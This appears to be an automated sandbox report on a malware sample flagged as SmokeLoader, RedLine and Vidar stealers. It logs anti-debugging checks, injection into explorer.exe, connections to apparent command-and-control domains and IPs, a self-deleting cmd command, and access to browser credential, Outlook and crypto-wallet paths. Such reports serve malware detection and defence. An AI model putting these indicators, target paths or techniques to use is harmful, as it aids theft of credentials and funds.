Source: explorer.exe, 00000001.00000000.323199405.00000000084D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.317110640.000000000683A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.278833693.00000000081DD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000^
Source: explorer.exe, 00000001.00000000.316449381.0000000006710000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: 5487.exe, 00000012.00000002.521372912.000000001AE98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\.
Source: 5487.exe, 00000012.00000002.514521211.0000000000A04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.321884280.0000000008304000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000001.00000000.353037520.00000000082B2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000001.00000000.278950861.0000000008200000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>&
Source: 37F1.exe, 0000000C.00000002.552906667.0000000008132000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

12_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

12_2_004019F0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0070092B mov eax, dword ptr fs:[00000030h]	0_2_0070092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00700D90 mov eax, dword ptr fs:[00000030h]	0_2_00700D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008DC7A8 push dword ptr fs:[00000030h]	0_2_008DC7A8
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D0D90 mov eax, dword ptr fs:[00000030h]	12_2_048D0D90
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D092B mov eax, dword ptr fs:[00000030h]	12_2_048D092B

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

Code function: 12_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

12_2_0040CE09

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

Code function: 12_2_0040ADB0 GetProcessHeap,HeapFree,

12_2_0040ADB0

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_0040CE09
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_0040E61C
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00416F6A
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_004123F1 SetUnhandledExceptionFilter,	12_2_004123F1
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048E2658 SetUnhandledExceptionFilter,	12_2_048E2658
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048DE883 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_048DE883
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048DD070 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_048DD070
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048E71D1 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_048E71D1

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: o36fafs3sn6xou.com
Source: C:\Windows\explorer.exe	Domain query: furubujjul.net
Source: C:\Windows\explorer.exe	Domain query: o3zxuhcc4hl9mi.com
Source: C:\Windows\explorer.exe	Domain query: o3l3roozuidudu.com
Source: C:\Windows\explorer.exe	Network Connect: 185.174.137.70 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: shingroup.com
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 193.106.191.15 80
Source: C:\Windows\SysWOW64\explorer.exe	Domain query: starvestitibo.org

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: 5999.exe.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\5999.exe

Memory written: C:\Users\user\AppData\Local\Temp\5999.exe base: 400000 value starts with: 4D5A

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 4E61ACC	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uucbfdt	Thread created: unknown EIP: 4EC1ACC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\405E.exe	Thread created: unknown EIP: 5051A28	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe

Memory written: C:\Windows\SysWOW64\explorer.exe base: E1F380

Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 5220 base: E1F380 value: 90			Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 3572 base: 7FF647908150 value: 90			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5487.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\user\AppData\Local\Temp\5487.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5999.exe	Process created: C:\Users\user\AppData\Local\Temp\5999.exe C:\Users\user\AppData\Local\Temp\5999.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 6

Source: explorer.exe, 00000001.00000000.267942114.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.341498193.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.312595073.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: XProgram Manager
Source: explorer.exe, 00000001.00000000.272834140.0000000005D90000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.353277614.000000000833A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.267942114.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.267707719.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.311720249.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.267942114.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.267942114.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.341498193.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.312595073.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\file.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoW,	0_2_00412000
Source: C:\Users\user\Desktop\file.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_0041251C
Source: C:\Users\user\Desktop\file.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	0_2_00409B57
Source: C:\Users\user\Desktop\file.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_004183C4
Source: C:\Users\user\Desktop\file.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	0_2_00412B8A
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoW,	11_2_00412000
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	11_2_0041251C
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	11_2_00409B57
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	11_2_004183C4
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	11_2_00412B8A
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: GetLocaleInfoA,	12_2_00417A20
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: GetLocaleInfoA,	12_2_048E7C87

Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5487.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

Code function: 12_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

12_2_00412A15

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 12.2.37F1.exe.4a8b076.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.7290000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.7290000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.4b70ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.5f55530.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.5f56418.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.4a8a18e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.5f56418.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.37F1.exe.2eb9e80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.48d0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.5f8cf50.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.37F1.exe.4910000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.37F1.exe.2eb9e80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.5f8cf50.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.4b70000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.4b70ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.5f55530.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.4a8a18e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.4b70000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.37F1.exe.4a8b076.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.549799190.0000000005F55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.417269957.0000000004910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.544624082.0000000004A4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.426623227.0000000002EB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 37F1.exe PID: 1760, type: MEMORYSTR

Yara detected CryptOne packer

Source: Yara match

File source: 00000011.00000002.469185788.0000000004FF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 11.3.uucbfdt.720000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.700e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.gecbfdt.700e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.uucbfdt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.gecbfdt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.405E.exe.810e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.gecbfdt.700e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.gecbfdt.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.710000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.gecbfdt.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.uucbfdt.710e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.405E.exe.820000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.405E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.gecbfdt.710000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.gecbfdt.700e67.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.505978851.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.356833950.0000000000841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.504789684.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.475515508.0000000000720000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.403897156.0000000000820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.255442832.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.443176510.0000000000820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.505917720.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.443497890.0000000000851000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.345197591.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 5487.exe PID: 1272, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\default_wallethI
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 5487.exe, 00000012.00000002.515243787.0000000002355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx_Desktop_Old
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.jsonxJ
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: 5487.exe, 00000012.00000002.515243787.0000000002355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.jsonxJ
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: 5487.exe, 00000012.00000002.515243787.0000000002355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: xodus\exodus.w
Source: 5487.exe, 00000012.00000002.515243787.0000000002355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets\default_wallethI
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: 5487.exe, 00000012.00000002.515243787.0000000002355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: 5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.jsonxJ
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: 37F1.exe, 0000000C.00000002.549799190.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: 5487.exe, 00000012.00000002.515198099.0000000002350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
